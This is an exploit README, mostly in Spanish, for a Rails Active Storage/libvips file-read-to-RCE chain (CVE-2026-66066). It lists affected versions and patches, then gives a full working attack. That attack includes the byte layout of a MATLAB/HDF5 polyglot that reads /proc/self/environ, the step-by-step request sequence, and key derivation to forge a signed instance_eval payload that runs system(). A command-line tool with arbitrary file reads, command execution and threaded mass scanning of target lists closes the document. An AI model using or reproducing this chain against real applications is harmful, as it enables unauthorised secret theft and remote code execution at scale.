
CVE-2026-66066 — KindaRails2Shell: Rails Active Storage/libvips Lectura de Archivo Arbitraria → RCE. Archivo de doble identidad MATLAB/HDF5 → robo de SECRET_KEY_BASE → variante falsificada. CVSS 9.5 | Rails < 8.1.3.1
CVE-2026-66066 es una cadena de severidad crítica (CVSS 9.5) de lectura arbitraria de archivos previa a la autenticación hasta ejecución remota de código en Ruby on Rails Active Storage, que afecta a Rails 7.2.0–7.2.3.1, 8.0.0–8.0.5 y 8.1.0–8.1.3 en su configuración predeterminada.
La vulnerabilidad explota una confusión de analizadores en cuatro capas entre Rails, libvips, libmatio y HDF5. Un archivo manipulado con una cabecera MATLAB 5.0 (que satisface el detector de libvips) y un contenedor HDF5 v7.3 (despachado por libmatio) contiene un dataset externo que apunta a una ruta de archivo arbitraria en el servidor. Cuando ActiveStorage procesa este archivo como una variante de imagen, los bytes del archivo objetivo se convierten en píxeles de imagen, lo que permite la lectura arbitraria de archivos sin autenticación.
Una vez que se recupera SECRET_KEY_BASE de /proc/self/environ o de archivos de credenciales, el atacante deriva la clave de verificación de Active Storage y falsifica un JSON de variante firmado que contiene instance_eval, logrando ejecución remota de código.
Instalaciones afectadas: 500K+ aplicaciones Rails (Rails 7+ por defecto
variant_processor = :vips) Descubierto por: Ethiack Research Team + RyotaK (GMO Flatt Security) + bl0rph, julio de 2026 Parche: Rails 7.2.3.2 / 8.0.5.1 / 8.1.3.1 (29 de julio de 2026)
| Rama | Vulnerable | Corregida |
|---|---|---|
| 7.2.x | 7.2.0 – 7.2.3.1 | 7.2.3.2 |
| 8.0.x | 8.0.0 – 8.0.5 | 8.0.5.1 |
| 8.1.x | 8.1.0 – 8.1.3 | 8.1.3.1 |
Rails 6.x solo se ve afectado si variant_processor = :vips se habilitó manualmente.
Descubierto por: André Baptista, Bruno Mendes, Rafael Castilho (Ethiack); RyotaK (GMO Flatt Security); bl0rph PoC de referencia: 0xsha/KindaRails2Shell Metasploit:
exploit/multi/http/rails_activestorage_vips_rce
El exploit encadena dos discrepancias independientes de tipo de contenido entre cuatro componentes:
Layer 1: Rails → trusts client-declared content_type (image/png)
No byte re-identification on direct upload blobs.
Layer 2: libvips → trusts magic bytes "MATLAB 5.0" at offset 0–9
Routes the file to matload without verifying the full header.
Layer 3: libmatio → trusts version word 0x0200 at offset 124–125
Dispatches to HDF5 reader; ignores the descriptive text mismatch.
Layer 4: HDF5 → trusts external(path, offset, length) dataset reference
H5Dread transparently opens and reads the external file.
Result: arbitrary file bytes returned as PNG pixel data.
| Bytes | Propósito | Valor |
|---|---|---|
| 0–9 | Detector de libvips | MATLAB 5.0 |
| 10–123 | Relleno | Espacios |
| 124–125 | Despachador de libmatio | 0x0200 (HDF5 v7.3) |
| 126–127 | Marcador de endianness | 0x4d49 (IM) |
| 128–511 | Userblock de HDF5 | Relleno |
| 512+ | Superbloque de HDF5 | Contenedor con dataset externo |
"Ningún escritor legítimo emite tanto MATLAB 5.0 en el byte 0 como 0x0200 en el byte 124."
Blob#variable? confía en la columna de la base de datos completada en el momento de la subida directa. No se examina ningún byte.Vips::Image.new_from_file itera sobre los cargadores; el detector de matload solo comprueba 10 bytes.0x0200 selecciona el backend HDF5 independientemente del texto descriptivo.H5Pset_external permite que los bytes brutos de un dataset residan en un archivo externo arbitrario. libmatio llama a H5Dread sin comprobar H5Pget_external_count.Transformers::Vips hereda validate_transformation de la clase base, que solo bloquea combine_options. Nombres de método arbitrarios pasan a Vips::Image.public_send.1. POST /rails/active_storage/direct_uploads
blob[content_type]=image/png&blob[checksum]=<MD5_of_payload>
→ Rails persists blob with client-declared type, identified=false forever
2. PUT <storage_url>
body=<MATLAB 5.0 + HDF5 external(/proc/self/environ) payload>
→ Payload uploaded, blob ready for processing
3. Harvest variation_key from any existing thumbnail on the app
→ og:image, HTML , API responses, Internet Archive
4. GET /rails/active_storage/representations/redirect/:signed_id/:variation_key/poc.png
→ ActiveStorage downloads blob, passes to libvips
→ libvips detects "MATLAB 5.0", routes to matload
→ libmatio sees 0x0200, opens HDF5 container
→ H5Dread resolves external(/proc/self/environ) → file bytes become pixels
→ PNG thumbnail returned to attacker
5. Decode PNG pixels → recover SECRET_KEY_BASE from environment
6. Derive verifier key: PBKDF2-HMAC-SHA256(SECRET_KEY_BASE, "ActiveStorage", 1000, 64)
Forge signed variation: {"instance_eval" => "system('cmd > /tmp/out')"}
Submit to representations route → RCE
| Archivo | Propósito |
|---|---|
activestorage/app/models/active_storage/blob.rb | variable? confía en la columna content_type |
activestorage/app/models/active_storage/blob/representable.rb | La ruta de representación resuelve blob y variación de forma independiente |
activestorage/app/models/active_storage/variation.rb | decode verifica la clave de variación; sin referencias cruzadas al blob |
image_processing/lib/image_processing/transformers/vips.rb | Sin lista blanca de métodos — hereda el comportamiento de la clase base |
libvips/foreign/matload.c | vips__mat_ismat detecta solo los primeros 10 bytes |
git clone https://github.com/shinthink/CVE-2026-66066.git
cd CVE-2026-66066
pip install requests
# Full chain — file read → secret recovery → RCE
python cve_2026_66066.py -t rails-app.com
# Read a specific file
python cve_2026_66066.py -t rails-app.com --read /etc/passwd
# Provide SECRET_KEY_BASE directly (skip file read)
python cve_2026_66066.py -t rails-app.com --skb <secret> -c "id; hostname"
# Mass scan
python cve_2026_66066.py -f targets.txt -o rce.txt --threads 10
-t, --target Single target URL
-f, --file Target list, one per line
-c, --command Shell command to execute (default: id)
--read PATH Read a specific file from the server
--skb SECRET Provide SECRET_KEY_BASE directly for RCE
-o, --output Save results to file
--threads Concurrent workers (default: 20)
--timeout HTTP request timeout in seconds
--debug Show every HTTP request
-v, --verbose Verbose output
$ python cve_2026_66066.py -t rails-app.example.com